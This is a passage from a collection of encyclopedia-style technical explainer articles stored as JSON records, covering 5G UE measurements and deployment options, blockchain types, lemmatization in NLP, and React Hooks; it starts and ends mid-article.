measurements. Specifies mostly network requirements but section 4.3 is for UE.\n    + **TS 38.331**: Radio Resource Control (RRC): protocol specification. Specifies UE reporting of measurements.\n    + **TS 38.533**: User Equipment (UE) conformance specification: Radio Resource Management (RRM).Specification *TS 28.552: 5G performance measurements* is mostly about network-side measurements including network slicing. We mention it here for completeness.  \n\n## Milestones\n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". In 5G RRC specification TS 38.331, version 15.0.0, measurement configurations specified include measurement objects, measurement identifies, reporting, gaps, L3 filtering, and events A1-A6. Measurements supported include SS-RSRP, SS-RSRQ, SS-CINR, CSI-RSRP, CSI-RSRQ, CSI-CINR, RSSI and more. \n\nDec  \n2019\n\nIn TS 38.133, version 16.2.0, these are introduced: CLI measurements, UMTS inter-RAT measurements, SRVCC-related measurements, and more. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. In 5G RRC specification TS 38.331, version 16.3.1, has a number of additions: measurement configuration for RRC\\_IDLE and RRC\\_INACTIVE; CLI-RSSI and SRS-RSRP reporting; sidelink and UTRA-FDD reporting; UL PDCP delay reporting; IEs `UE-MeasurementsAvailable` and `needForGapsInfoNR` as part of RRCReconfigurationComplete and RRCResumeComplete messages; and UE positioning measurements.","meta":{"title":"5G UE Measurements and Reporting","href":"5g-ue-measurements-and-reporting"}}
{"text":"# Types of Blockchains\n\n## Summary\n\n\nHistorically, Blockchain started as a public permissionless technology when it was used for powering Bitcoin. Since then, other types of blockchains have been created. These can be categorized as a combination of public/private and permissionless/permissioned. Each type fits a specific set of use cases. When choosing a particular type, we have to be aware the tradeoffs.\n\nIn general, public/permissionless blockchains are open, decentralized and slow. Private/permissioned blockchains are closed and centralized, either partially or completely. They're also more efficient. It's also important to note that for some use cases, traditional databases may suffice instead of a blockchain.\n\n## Discussion\n\n### Could you describe the different types of blockchains?\n\nBroadly, there are two types of blockchains: \n\n    + **Permissionless**: Anyone can join the network. They can read/write/verify transactions. The system is open. There's no central authority. This system makes sense when no one wants to use a trusted third party (TTP). Trust is therefore established among peers via an agreed consensus mechanism. While transactions can be read by anyone, it's also possible to hide sensitive information if so desired.\n    + **Permissioned**: A central authority grants permissions to only some folks to read/write/verify transactions. Since write access is given to a trusted few, consensus is achieved in a simpler and more efficient way. Public read access may be allowed.Some classify blockchains as public, private and permissioned. In a private blockchain, controlling power is with only one organization. In a permissioned blockchain, controlling power is given to a few selected entities. Thus, no single entity can tamper the system on their own. These are also called federated or consortium blockchains. They are a compromise between the openness of public blockchain and the closed control of private blockchains. \n\n\n### How does one go about selecting a suitable blockchain type?\n\nBlockchain is useful in applications where multiple entities write to a shared database, these entities don't trust one another and don't want to use a trusted third party intermediary. If entities are unknown or wish anonymity, then a permissionless blockchain is desired. Otherwise, go for a permissioned blockchain. \n\nBlockchain is also useful when multiple copies of a ledger are maintained. In this case, blockchain enables real-time reconciliation without have a third-party trusted intermediary. \n\nA public permissioned blockchain is one in which some trusted entities write to the chain but public is allowed to verify. For example, a consumer might want to verify the source of the fish she buys but only those involved in the supply chain have permissions to write to the chain. In some applications, such as Cryptologic, confidential transaction data is hashed before added to the public blockchain. \n\nA private permissioned blockchain can be used when control rests with a single trusted entity. If multiple organizations are involved, then a consortium blockchain is preferred. \n\n\n### What are the advantages of using a permissioned blockchain?\n\nA permissioned blockchain is similar to a permissionless one except for an additional access control layer. This layer controls who can participate in the consensus mechanism, and who can create transactions or smart contracts. \n\nA permissioned blockchain gives the following advantages: \n\n    + **Performance**: Excessive redundant computation of permissionless blockchains is avoided. Each node will perform only those computations relevant to its application.\n    + **Governance**: Enables transparent governance within the consortium. Also, innovation and evolution of the network can be easier and faster than in permissionless blockchains.\n    + **Cost**: It's cost effective since there's no need to do spam control such as dealing with infinite loops in smart contracts.\n    + **Security**: It has the same level of security as permissionless blockchains: \"non-predictive distribution of power over block creation among nodes unlikely to collude.\" In addition, an access control layer is built into the network by design.\n\n### Can you name some examples of the different types of blockchains?\n\nBitcoin and Ethereum are well-known examples of public blockchains but Ethereum can also be used to create a private blockchain. OpenChain enables private blockchains. Chain supports permissioned blockchains suited for financial applications. Patientory is a permissioned blockchain for electronic health records. Ripple is a permissioned blockchain. \n\nBitcoin Cash, Zilliqa and Cypherium are permissionless blockchains. Universa and Oracle Network are permissioned blockchains. \n\nSome platforms can be configured to manage either any type of blockchain. For example, MultiChain and HydraChain can be used for private or permissioned blockchains. Hyperledger can be used for private or public blockchains. Hyperledger Fabric and R3 Corda are for private or permissioned blockchains. \n\nWilliam El Kaim has curated a useful list of blockchains, blockchain platforms and applications.\n\n\n### What's the point of private blockchains where immutability can be compromised?\n\nIt's true that since a private blockchains is controlled by a single entity or organization, it can be easily tampered. It's therefore argued that private blockchains are no better than shared databases. If trust and robustness are already guaranteed, one could simply use a database. Moreover, databases have for long supported code execution (example, via stored procedures) that are similar to what blockchain calls smart contracts. \n\nHowever, others argue that the use of cryptography and Merkle trees prevent non-valid transactions from getting added to the chain. With shared databases, hack on a single entity will corrupt the database for everyone. This isn't possible with private blockchains when a consensus algorithm such as Juno is used. \n\n## Milestones\n\nJan  \n2009\n\nBitcoin is launched using blockchain technology. It's the first application of public blockchain. \n\n2012\n\nRipple, a permissioned blockchain is launched. \n\n2013\n\nEthereum, an open permissionless blockchain, is described in a white paper by Vitalik Buterin, a programmer involved with Bitcoin Magazine. \n\nJul  \n2015\n\nInitial release of Ethereum, an open-source, public, blockchain-based distributed computing platform and operating system featuring smart contract (scripting) functionality. \n\nDec  \n2015\n\nLinux foundation announces the creation of the Hyperledger Project, a permissioned open-source blockchain. \n\n2016\n\nThis is they year when people start showing greater interest in private plus permissioned blockchains than in public blockchains. This increased interest continues through 2018, as shown by Google Trends data collected in March 2018.","meta":{"title":"Types of Blockchains","href":"types-of-blockchains"}}
{"text":"# Lemmatization\n\n## Summary\n\n\nConsider the words 'am', 'are', and 'is'. These come from the same root word 'be'. Likewise, 'dinner' and 'dinners' can be reduced to 'dinner'. Variations of a word are called **wordforms** or **surface forms**. It's often complex to handle all such variations in software. By reducing these wordforms to a common root, we simplify the input. The root form is called **lemma**. An algorithm or program that determines lemmas from wordforms is called a **lemmatizer**. \n\nFor example, Oxford English Dictionary of 1989 has about 615K lemmas as an upper bound. Shakespeare's works have about 880K words, 29K wordforms, and 18K lemmas. \n\nLemmatization involves word morphology, which is the study of word forms. Typically, we identify the morphological tags of a word before selecting the lemma.\n\n## Discussion\n\n### Why do we need to find the lemma of a word?\n\nMany NLP tasks can benefit from lemmatization. For instance, topic modelling looks at word distribution in a document. By normalizing words to a common form, we get better results. In word embeddings, that is, representing words as real-valued vectors, removing inflected wordforms can improve downstream NLP tasks. \n\nFor information retrieval (IR), lemmatization helps with query expansion so that suitable matches are returned even if there's not an exact word match. In document clustering, it's useful to reduce the number of tokens. It also helps in machine translation. \n\nUltimately, the decision to use lemmas is application dependent. We should use lemmas only if they show better performance. \n\n\n### What are the challenges with lemmatization?\n\nOut-of-vocabulary (OOV) words is a challenge. For example, WordNet that's used by NLTK package for lemmatization, doesn't have the word 'carmaking'. The lemmatizer therefore doesn't relate this to 'carmaker'. \n\nIt difficult to construct rules for irregular word inflections. The word 'bring' might look like an inflected form of 'to bre' but it's not. Even more challenging is a word such as 'gehört' in German. It's a participle of 'hören' (to hear) or of 'gehören' (to belong). Both are valid but only the context of usage can help us derive the correct lemma. It's for these reasons that neural network approaches to learning rules are preferred over hand-crafted rules. \n\nWhen content comes from Internet or social media, it's impractical to use predefined dictionary. This is another reason for a neural network approach with an open vocabulary. \n\nEven with neural networks, some inflected forms might never occur in training, such as, 'forbade', the past tense of 'forbid'. Many training corpora come from newspaper texts where verbs in second person are rare. This can impact lemmatization of such forms. \n\n\n### How is lemmatization different from stemming?\n\nGiven a wordform, stemming is a simpler way to get to its root form. Stemming simply removes prefixes and suffixes. Lemmatization on the other hand does morphological analysis, uses dictionaries and often requires part of speech information. Thus, lemmatization is a more complex process. \n\nStems need not be dictionary words but lemmas always are. Another way to say this is that \"a lemma is the base form of all its inflectional forms, whereas a stem isn't\". \n\nWordforms are either inflectional (change of tense, singular/plural) or derivational (change of part of speech or meaning). Lemmatization usually collapses inflectional forms whereas stemming does this for derivational forms. \n\nStemming may suffice for many use cases in English. For morphologically complex languages such as Arabic, lemmatization is essential. \n\nThere are two types of problems with stemming that lemmatization can solve:  \n\n    + Two wordforms with different lemmas may stem to the same result. Eg. 'universal' and 'university' result in same stem 'univers'.\n    + Two wordforms of same lemma may end as two different stems. Eg. 'good' and 'better' have the same lemma 'good'.\n\n### Which are the available models for lemmatization?\n\nThe classical approach is to use a **Finite State Transducer (FST)**. FST models encode vocabulary and string rewrite rules. Where there are multiple encoding rules, there's ambiguity. We can think of FST as reading the surface form from an input tape and writing the lexical form to an output tape. There could be intermediate tapes for spelling changes, etc. \n\nOne well-known tool is Helsinki Finite State Toolkit (HFST) that makes use of other open source tools such as SFST and OpenFST. \n\nChrupała formalized lemmatization in 2006 by treating it as a string-to-string transduction task. Given a word w, we get its morphological attributes m. To obtain the lemma l, we calculate the probability P(l|w,m). This uses features based on (l,w,m). It then trains a **Maximum-Entropy Markov Model (MEMM)**, one each for POS tags and lemmas. Müller improved on this by using **Conditional Random Fields (CRFs)** for jointly learning tags and lemmas. \n\nOne researcher combined the best of stemming and lemmatization. \n\n\n### Which are the neural network approaches to lemmatization?\n\nA well-known model is the **Sequence-to-Sequence (seq2seq)** neural network. Words and their lemmas are processed character by character. Input can include POS tags. Every input is represented using word embeddings. \n\nTo deal with lemma ambiguity, we need to make use of the context. **Bidirectional LSTM** networks, that are based on RNNs, are able to do this. They take in a sequence of words to produce context-sensitive vectors. Then the lemmatizer uses automatically generated rules (pretrained by another neural network) to arrive at the lemma. However, such ambiguity is so rare that seq2seq architecture may be more efficient. **Encoder-decoder** architecture using GRU is another approach to handle unseen or ambiguous words. \n\nTurku NLP based on NN provides one of the state-of-the-art lemmatizers. Other good ones are UDPipe Future and Stanford NLP, although the latter performs poorly for low-resource languages, for which CUNI x-ling excels. \n\n\n### Could you mention some tools that can do lemmatization?\n\nIn Python, NLTK has `WordNetLemmatizer` class to determine lemmas. It includes the option to pass the part of speech to help us obtain the correct lemmas. Other Python-based lemmatizers are in packages spaCy, TextBlob, Pattern and GenSim. \n\nStanford's LemmaProcessor is another Python-based lemmatizer. It allows us to select a seq2seq model, a dictionary model or a trivial identity model. For Chinese, a dictionary model is adequate. In Vietnamese, lemma is identical to original word. Hence, identity model will suffice.\n\nTreeTagger does POS tagging plus gives lemma information. It supports 20 natural languages. Another multilingual framework is GATE DictLemmatizer, which is based on HFST and word-lemma dictionaries available form Wiktionary. We can use wiktextract to download and process Wiktionary data dumps. \n\nLemmaGen is an open source multilingual platform with implementations or bindings in C++, C# and Python. In .NET, there's LemmaGenerator. There's a Java implementation of Morpha.\n\n## Milestones\n\n1968\n\nIt's in the 1960s that morphological analysis is formalized. Chomsky and Halle show that an ordered sequence of rewrite rules convert abstract phonological forms to surface forms through intermediate representations. \n\n1972\n\nDouglas C. Johnson shows that pairs of input/output can be modelled by **finite state transducers**. However, this result is overlooked and rediscovered later in 1981 by Ronald M. Kaplan and Martin Kay. \n\n1983\n\nThus far, rules have been applied in a cascade. Kimmo Koskenniemi invents **two-level morphology**, where rules can be applied in parallel. Rules are seen as symbol-by-symbol constraints. Lexical lookup and morphological analysis are done in tandem. It's only in 1985 that the first two-level rules compiler is invented. \n\n1997\n\nKarttunen et al. show how we can **compile regular expressions** to create finite state transducers. The use finite state transducers for morphological analysis and generation is well known but it's application in other areas of NLP are not well known. The authors show how to use them for date parsing, date validation and tokenization. \n\n2000\n\nIn a problem related to lemmatization, Minnen et al. at the University of Sussex show how to **generate words** in English based on lemma, POS tag and inflection form to be generated. They write high-level descriptions or rules as regular expressions, which *Flex* compiles into finite-state automata. \n\n2006\n\nGrzegorz Chrupała publishes *Simple data-driven context-sensitive lemmatization*. Lemmatization is modelled as a classification problem where the algorithm chooses one of many \"edit trees\" that can transform a word to its lemma. Such trees are induced from wordform-lemma pairs. This work leads to a PhD dissertation in 2008 and the system is named *Morfette*. \n\n2015\n\nMany NLP systems take a pipeline approach. They do tagging followed by lemmatization, since POS tags can help the lemmatizer disambiguate. But there's a mutual dependency between tagging and lemmatization. Müller et al. present a system called *Lemming* that jointly does POS tagging and lemmatization using Conditional Random Fields (CRFs). It can also analyze OOV words. This work sets a new baseline for lemmatization on six languages. \n\n2016\n\nAt the SIGMORPHON Shared Task, it's noted that various neural **sequence-to-sequence** models give best results. In 2018, a seq2seq model is used along with novel context representation. This model, used within TurkuNLP in the CoNLL-18 Shared Task, gives best performance on lemmatization. \n\n2018\n\nBergmanis and Goldwater use **encoder-decoder** NN architecture in a lemmatizer they name as *Lematus*. Both encoder and decoder are 2-layer Gated Recurrent Unit (GRU). They compare its performance against context-free systems. They use character contexts of each form to be lemmatized. Thus, training resources needed are less. They note that context-free systems may be adequate if a language has many unseen words but few ambiguous words. \n\n2019\n\nMalaviya et al. use a NN model to jointly learn morphological tags and lemmas. They use a encoder-decoder model with hard attention mechanism. In particular, they use a 2-layer LSTM for morphological tagging. For the lemmatizer, they use 2-layer BiLSTM encoder and 1-layer LSTM decoder. They compare their results with other state-of-the-art models: Lematus, UDPipe, Lemming, and Morfette.","meta":{"title":"Lemmatization","href":"lemmatization"}}
{"text":"# 5G Deployment Options\n\n## Summary\n\n\nThough 5G has been standardized, it has a number of options. Two network operators can deploy 5G in very different ways. This choice of option depends on the spectrum licensed to an operator, the geographic area they serve (terrain and user density), capabilities of the equipment they use, and business factors (cashflow and decision making). \n\n3GPP has defined options covering both 4G and 5G technologies with respect to Radio Access Network (RAN) and Core Network (CN). These options can guide operators as they migrate from current 4G deployments to 5G deployments.\n\nIt's generally expected that operators would first deploy 5G NR, let 4G RAN and 5G NR coexist, and finally deploy 5G Core. This implies that 4G+5G handsets would come out first and they would connect to both 4G eNB and 5G gNB.\n\n## Discussion\n\n### What are the broad challenges in deploying a 5G network?\n\nIdeally, an operator acquires 5G licenses, invests in 5G equipment for both RAN and CN, and deploys the network for full coverage. The operator then asks subscribers to switch to 5G. After a short transition period, the old 4G network is retired.\n\nIn reality, subscribers may be slow to migrate since they have to invest in 5G-capable handsets. The operator's 5G subscription plans may be costlier. The 5G network may have poor coverage in many areas where it's been deployed in only the mmWave band. \n\nAn incumbent operator has most likely invested heavily on 4G licenses and equipment. Their current 4G licenses may be in spectrum bands not supported by 5G. Perhaps the equipment they use can't easily be upgraded to 5G.\n\nIt's also possible that the government has delayed the auctioning of 5G spectrum. Operators don't want to wait. They may want to offer 5G services on 4G licensed spectrum. Even with 5G licenses, they would want 4G to coexist with 5G and steadily migrate to 5G as more 5G subscribers are added.\n\n\n### Which are the main 5G deployment options?\n\nIn LTE, both RAN and CN had to use LTE standards. 5G gives more flexibility. For example, 4G RAN can be combined with 5G Core or 5G NR can be combined with 4G EPC. This gives rise to two broad deployment scenarios:  \n\n    + **Standalone (SA)**: Uses only one radio access technology, either LTE radio or 5G NR. Both control and user planes go through the same RAN element. Deployment and network management is perhaps simpler for operators. Inter-RAT handover is needed for service continuity. Under SA, we have option 1 (EPC + 4G eNB), option 2 (5GC + 5G gNB), and option 5 (5GC + 4G ng-eNB).\n    + **Non-Standalone (NSA)**: Multiple radio access technologies are combined. Control plane goes through what's called the master node whereas data plane is split across the master node and a secondary node. There's tight interworking between 4G RAN and 5G NR. Under NSA, we have option 3 (EPC + 4G eNB master + 5G en-gNB secondary), option 4 (5GC + 5G gNB master + 4G ng-eNB secondary), and option 7 (5GC + 4g ng-eNB master + 5g gNB secondary).\n\n### What are the differences across options 3, 3a and 3x?\n\nIn all three options, control plane is between EPC and eNB via S1-C interface, and eNB and gNB via X2-C interface. There's no direct signalling traffic between EPC and gNB. The differences are in how user plane traffic is routed. Below we describe downlink but it applies to uplink as well. \n\nIn option 3, user plane traffic is from EPC to eNB where **PDCP sublayer splits** the traffic so that some traffic is sent to gNB across the X2-U interface. In option 3a, EPC has a direct S1-U interface to gNB. In this option **EPC splits** the traffic. Option 3x is a hybrid: EPC splits the traffic for eNB and gNB, and/or gNB PDCP sublayer sends some traffic to eNB. For example, eMBB services use 5G NR whereas VoLTE uses LTE radio. \n\ngNB connected to EPC via S1-U is more specifically called **en-gNB**. It's part of E-UTRA-NR Dual Connectivity (EN-DC). The interface between en-gNB and eNB is also called **Xx interface**. \n\nSimilar variations of routing user plane traffic involving 5G Core give rise to options 4a, 7a and 7x. \n\n\n### Could you compare possible migration paths from 4G to 5G?\n\nSince options 1 and 3 use EPC, they can't support many 5G use cases. It's been noted that, \n\n> There's no real 5G without 5G Core.\n\nHowever, option 3 enables faster time-to-market since core network can be upgraded later. Due to 5G NR, users can experience better throughput. However, with this increased traffic, EPC may become a bottleneck. Traffic flow is split at the EPC. \n\nFrom NSA option 3, the operator can migrate to NSA option 7 or SA option 5. With both these options, 5GC enables all 5G services. eNB and en-gNB are upgraded to ng-eNB and gNB respectively to connect to 5GC. Option 3 will continue to support UEs that can't talk to 5GC. \n\nIt's also possible to add SA option 2 to complement NSA option 3. An alternative path is to deploy SA option 2 from the outset, thus immediately enabling all 5G use cases. However, operator has to acquire and deploy 5G equipment. Ideally, NR coverage is achieved on a wide area. Otherwise, frequent inter-RAT handover to SA option 1 or NSA option 3 may occur. \n\n\n### What scenarios can benefit from 5G deployment options 4, 5 and 7?\n\nOptions 4, 5 and 7 enable operators to continue using legacy 4G equipment while connecting to 5GC. With the higher bandwidths of options 4 and 7, all 5G use cases are possible.\n\nMigration paths 3→5, 3→7, 3→4+2, 3→4, 7→4, 5→4, 1→4, 1→7, and 4→2 have been suggested. \n\nFor some, **option 5** is not attractive. Legacy 4G UEs have to be replaced. eNB has to be upgraded substantially. Lots of interoperability testing are needed. If UE moves out of 5G NR coverage (option 2), traditional MBB/voice use cases can be supported simply with option 1 and inter-RAT handover. In the long term, improving option 2 coverage is a better path. **Option 7** depends on option 5 and inherits the same problems.  \n\n**Option 4** is an extension of option 2. Using dual connectivity, LTE radio is added to 5G NR anchor. This improves coverage and bandwidth. However, it requires upgrade to eNB, gNB and UE, along with necessary interoperability testing. Instead, it would be better to focus on improving option 2 coverage. \n\n\n### Could you highlight the differences among eNB, gNB, ng-eNB and en-gNB?\n\n3G's *NodeB (NB)* has become *evolved NodeB (eNB)* in 4G. In 5G, this has evolved to *next generation NodeB (gNB)*. ng-eNB and en-gNB are variations of eNB and gNB respectively, depending on CN. \n\nWe compare the different RAN elements: \n\n    + **eNB**: A 4G network element. Connects to a 4G UE and EPC. This relates to options 1 and 3.\n    + **gNB**: A newly introduced 5G network element. Connects to a 5G UE and 5G Core. This relates to options 2, 4 and 7.\n    + **en-gNB**: Sits in a 4G RAN and connects a 5G UE to EPC. Both 4G and 5G radio resources are active using dual connectivity. eNB is the master node while en-gNB is the secondary node. \"en\" refers to E-UTRA New Radio. This relates to option 3.\n    + **ng-eNB**: Connects to 5G Core but serves a 5G UE over 4G radio. \"ng\" refers to Next Generation. This relates to options 4, 5 and 7. There's dual connectivity in option 4 (gNB is master, ng-eNB is secondary) and option 7 (ng-eNB is master, gNB is secondary).\n\n### How do 5G deployment options map to spectrum bands?\n\nCurrent 4G deployments might be in sub-1GHz and 1-3GHz bands. 5G NR is then deployed in mmWave band and possibly in mid-bands 3.5-8GHz. This brings higher throughput/capacity/density and lower latency. At the same time, 4G RAN ensures good wide-area coverage and serves subscribers who haven't migrated to 5G. With Dual Connectivity (DC), high-band NR downlink can be combined with low-band 4G uplink. More throughput can be achieved via inter-band Carrier Aggregation (CA). This is **option 3**. \n\nWhen the operator activates 5G Core, **option 2** comes into play. Initially, this will be limited to 5G NR in mmWave band and mid-bands 3.5-8GHz for Fixed Wireless Access (FWA) and industrial deployments. At a later time, when 4G spectra are re-farmed, or via spectrum sharing, option 2 can be deployed to wider areas. When a UE moves out of option 2 5G NR coverage, it triggers intersystem handover to EPC, either in option 3 or 1. \n\nEven when 5G is widely deployed, for Massive Machine Type Communications (mMTC), NB-IoT and LTE-M will be used in **option 1**. \n\n\n### What's a possible migration path from LTE EPC to 5G Core?\n\nAs an example, we describe Samsung's offering. They claim that their LTE EPC is already virtualized and provides Control and User Plane Separation (CUPS). For 5G NSA, EPC software is upgraded for dual connectivity. For 5G SA, EPC *Network Elements (NEs)* become 5GC *Network Functions (NFs)*. Specifically, GW-C, GW-U, HSS and PCRP are upgraded to SMF, UPF, UDM and PCF respectively. New NFs AMF, NRF, NSSF, NEF and UDF are introduced. LTE's MME functionality goes into AMF, SMF and AUMF. The final deployment is a **common core** that covers LTE, 5G and Wi-Fi. \n\n5G Core is a Service-Based Architecture (SBA). NFs will be **virtualized** in the cloud and implemented using microservices and containers. LTE's stateful NEs that store UE state will be replaced with **stateless** NFs. Increasingly, cloud native architecture will be used with lightweight containers. There will be centralized orchestration of containers, network slicing, centralized operation, and centralized analytics. Overall, network control, monitoring and optimization will be **automated**. This will be the bigger impact of moving from LTE EPC to 5G Core. \n\n## Milestones\n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". This includes **NSA option 3**. Corrections to this option are made in June 2018. \n\nApr  \n2018\n\nGSMA's report shares Korea Telecom's 4G to 5G migration plan. Early deployments are likely to be NSA option 3 with 5G NR only in 28GHz mmWave band. As 5GC gets introduced, multi-RAT interworking would become important. 5G NR coverage would improve with 3.5GHz band. NSA option 7 would be used, with eLTE being the anchor. Finally, EPC would be retired. \n\nJun  \n2018\n\n3GPP publishes Release 15 \"main drop\". This includes **SA option 2** and **SA option 5**. \n\nSep  \n2018\n\nA white paper by Nokia recommends either option 3 or option 2 for initial 5G rollout. The report also identifies **option 3X** in which high bandwidth traffic flows are routed to 5G gNB to avoid overloading 4G eNB. LTE user plane (SGW/PGW) would require performance improvements and a distributed architecture. \n\nMar  \n2019\n\n3GPP publishes Release 15 \"late drop\". This includes **SA option 4** and **SA option 7**.","meta":{"title":"5G Deployment Options","href":"5g-deployment-options"}}
{"text":"# React Hooks\n\n## Summary\n\n\nReact is based on components. The logic to manage component state and update the user interface is encapsulated with the component. But what if we wish to reuse stateful logic across components, such as for logging or authentication? React allows this via mixins, higher-order components and render props. However, these complicate the component hierarchy. React Hooks provide a cleaner and more elegant way of doing this.  \n\nReact's function components are stateless and without side effects. React Hooks combines the simpler syntax of function components but allows for states and side effects.  \n\nClass components continue to be available in React. Hooks can coexist with class components, although they can't be used inside a class. In fact, React concepts such as props, state, context, refs and lifecycle are still relevant in Hooks.\n\n## Discussion\n\n### What are the advantages of using React Hooks?\n\nReact Hooks solves the problems of class components. With Hooks, we can reuse stateful logic without complicating component hierarchy. \n\nClass components may have code repetition. For example, code may be repeated in lifecycle events `componentDidMount` and `componentDidUpdate`. Custom Hooks enable easy code reuse. \n\nDevelopers coming from other languages have a hard time understanding the `this` reference. Class components tend to be verbose. They don't minify well. Hot reloading is unreliable. Hooks offer developers a way to more effectively use React's features. \n\nCode is harder to organize logically in class components. For example, fetching data and setting up event listeners are doing different things but they're probably mixed together in the same lifecycle method. Fetching data and its clean up is also likely to be split between `componentDidMount` and `componentWillUnmount`. With Hooks, we can organize logical units of code into functions. For this reason, Dan Abramov noted, \n\n> Hooks apply the React philosophy (explicit data flow and composition) *inside* a component, rather than just *between* the components.\n\n\n### Could you explain React Hooks with an example?\n\nThe figure shows an example that uses two types of Hooks: `useState` and `useEffect`. We note that Hooks are used within a function component, not a class component. Instead of the `render()` method found in class components, we simply return the component at the end, whose syntax is in JSX format. We no longer use the `this` variable that was common in class components. \n\nThis component maintains a state called `count` that can be set with a function named `setCount()`. Both these are returned by `useState`. `setCount()` is triggered when the button is clicked. This updates the state, which in turn triggers a re-rendering of the component. \n\nAfter the component is rendered or re-rendered, the `useEffect` Hook is triggered. This simply updates the document title in this example. \n\nFinally, we observe that Hooks are called in response to UI events, DOM rendering, etc. Therefore, they're not independent of React lifecycle methods. React Hooks \"hook into\" React state and lifecycle features from function components. \n\n\n### Which are the Hooks that React provides?\n\nAmong the basic Hooks are `useState`, `useEffect`, and `useContext`. Additional Hooks include `useReducer`, `useCallback`, `useMemo`, `useRef`, `useImperativeHandle`, `useLayoutEffect`, and `useDebugValue`. We briefly describe these (refer to the Hooks API for more details): \n\n    + `useState`: Initializes and manages component state.\n    + `useEffect`: Called after DOM is rendered to the screen. Side effects such as logging or timers can be executed here.\n    + `useContext`: Accepts a context object and returns its current context value based on the nearest ancestor's value prop.\n    + `useReducer`: Better than `useState` for managing complex state logic.\n    + `useCallback`: Given a callback and its dependencies, obtain a memoized callback. Useful to prevent unnecessary rerenders.\n    + `useMemo`: Optimize expensive computations by returning a memoized value. Recomputes happen only when dependencies change.\n    + `useRef`: Create a container to hold a mutable value. Useful for accessing child elements imperatively.\n    + `useImperativeHandle`: Customize instance value that's exposed to parent components. However, prefer to avoid imperative code.\n    + `useLayoutEffect`: Like `useEffect` but called synchronously before browser \"paints\" the screen. Useful to avoid flicker when an effect manipulates DOM.\n    + `useDebugValue`: Display a label for custom Hooks in React DevTools. Useful when such Hooks are part of shared libraries.\n\n### What's the React Hooks lifecycle?\n\nFunction components with Hooks can be mounted, updated and unmounted. Each of these go through the render phase and commit phase. During the latter the DOM is updated. \n\nDifferent Hooks are called at different phases of the React Hooks lifecycle. `useMemo` is called during the render phase when the component is mounted. `useState`, `useReducer`, `useContext` and `useCallback` are called during the render phase when component state is updated. Render phase is not the place for executing side effects. \n\n`useLayoutEffect` and `useEffect` are called after React has updated the DOM but there's an important difference. `useLayoutEffect` is called synchronously. It will block the browser before browser has had a chance to \"paint\" the screen. `useEffect` is called after browser has painted the screen. Generally, `useEffect` is preferred unless the Hook makes visual updates to the DOM. \n\nBoth `useLayoutEffect` and `useEffect` are also called when the component is unmounted, provided these Hooks return a callback function. \n\n\n### Could you describe the State Hook?\n\nThe most basic Hook is `useState`. This takes an initial value and returns a stateful value plus a function to update it. When the component first renders, returned value is same as initial value. Next time the component renders, the current state is available, that is, it's not initialized again. This is what React Hooks enables. For expensive computation, a function can be passed into `useState`.  \n\nFor updating state, a value can be passed to the update function, `fn(val)`. If current value is needed for the update, a function can be passed, `fn((c) => c+1)`. Where state contains sub-values such as `{name: 'john', age: 22}`, `useState` doesn't merge the values. We need to use the spread syntax, `{...prevState, ...updatedValues}`.  \n\n\n### Could you describe the Effect Hook?\n\nHook `useEffect` allows us to perform side effects, such as fetching data or updating DOM. Having these side effects inside the main body of the function component (used during the render phase) can result in UI bugs and inconsistencies. Hence, use this Hook to implement side effects.  \n\nThis Hook enables imperative programming, as a feature that complements React's purely functional programming approach. It accepts a function as an argument and optionally a second argument. Without the second argument, the Hook is called after every render. If the second argument is an empty array, the Hook is called only once. If array is non-empty, the Hook is called conditionally only when those dependencies change. \n\nThe Hook can also return a function, which is called when the component unmounts. \n\nHaving this Hook inside the component allows it to access component state. This state is never stale since with each render we recreate the function wired to the Hook. \n\n\n### What are the rules of Hooks?\n\nReact Hooks have only two essential rules that developers need to follow. Hooks should be called only at the top level within the component. Don't call them within loops, conditions or nested functions. This is because React Hooks expects that Hooks are always called in the same order whenever the component renders.  \n\nThe second rule is that don't call Hooks from regular JavaScript functions. Call them only from React function components or from custom Hooks. This ensures that all stateful logic is visible within the component's source code. \n\nTo ensure that components meet these rules, developers can install the *React Hooks ESLint Plugin*, aka `eslint-plugin-react-hooks` on NPM. The plugin will warn developers when these rules are violated. When we create the default React app, this plugin is installed by default.\n\n\n### Can class components interoperate with React Hooks?\n\nReact Hooks don't replace class components. An application can use class components, function components and Hooks. In fact, these approaches can be used in the same DOM tree. However, at code level, it's not possible to use React Hooks within a class. \n\nDevelopers can adopt Hooks for new components. Legacy components could be migrated to Hooks incrementally. Particularly for render props and higher-order components, Hooks offer a simpler approach and reduce nesting of DOM elements. \n\nTo relate to component lifecycle methods, we note the following:  \n\n    + `constructor`: Not required in Hooks. Initialization can be done with `useState`.\n    + `getDerivedStateFromProps`: Update component while it's being rendered.\n    + `shouldComponentUpdate`: Wrap a function component within `React.memo`, a higher-order component. This is not exactly a Hook. Compares props (not states) in a shallow manner.\n    + `render`: Function component body is returned.\n    + `componentDidMount`, `componentDidUpdate`, `componentWillUnmount`: `useEffect` Hook can implement all three.\n    + `getSnapshotBeforeUpdate`, `componentDidCatch`, `getDerivedStateFromError`: No equivalent in Hooks.\n\n### What are some criticisms of React Hooks?\n\nFor someone used to class components, React Hooks is something new to learn. Learning fatigue is common among JavaScript developers. The new knowledge is React-specific and can't be reused anywhere else. \n\nReact Hooks can't be used with class components. This means that legacy code needs to be migrated, which presents the risk of introducing bugs. Developers can't also opt-out, despite what the documentation claims. There's a good chance that the ecosystem and dependencies will move to React Hooks. When that happens, our own projects will have no choice but to adopt it. \n\nSome may find that the rules of React Hooks are rather limiting. Reading and understanding component code and its control flow can be hard when a component uses many types of Hooks. Control flow is determined by component lifecycle and not the ordering in the source code. \n\nWhere dependencies are passed to a Hook, object comparison works as intended for primitive types but not for arrays or other objects. Comparison is by reference and developers can't customize this. \n\n\n### Where can I learn more about React Hooks?\n\nThe section on React Hooks in the React official documentation is a good place to start. The same documentation also has the Hooks API Reference. There's a section on building custom Hooks. \n\nThose who like to learn from examples, can visit the useHooks website. Some examples include show/hide UI elements, subscribe to Firestore data, handle asynchronous calls, render component based on current state of user authentication, sync state to local storage, and more. \n\nXebia has published a useful React Hooks cheat sheet. This includes class-style and Hooks-style code for comparison. Emmanuel's cheat sheet is also worth reading.\n\nGunawardhana has shared a list of ten useful React Hooks libraries. Mostly, these are custom Hooks built on top of the built-in React Hooks. \n\nAryan's shares one approach to testing React Hooks. \n\n## Milestones\n\nMay  \n2013\n\nFacebook **open sources React** at the JSConf US. An earlier prototype of this can be traced to 2011 and then developed within Facebook during 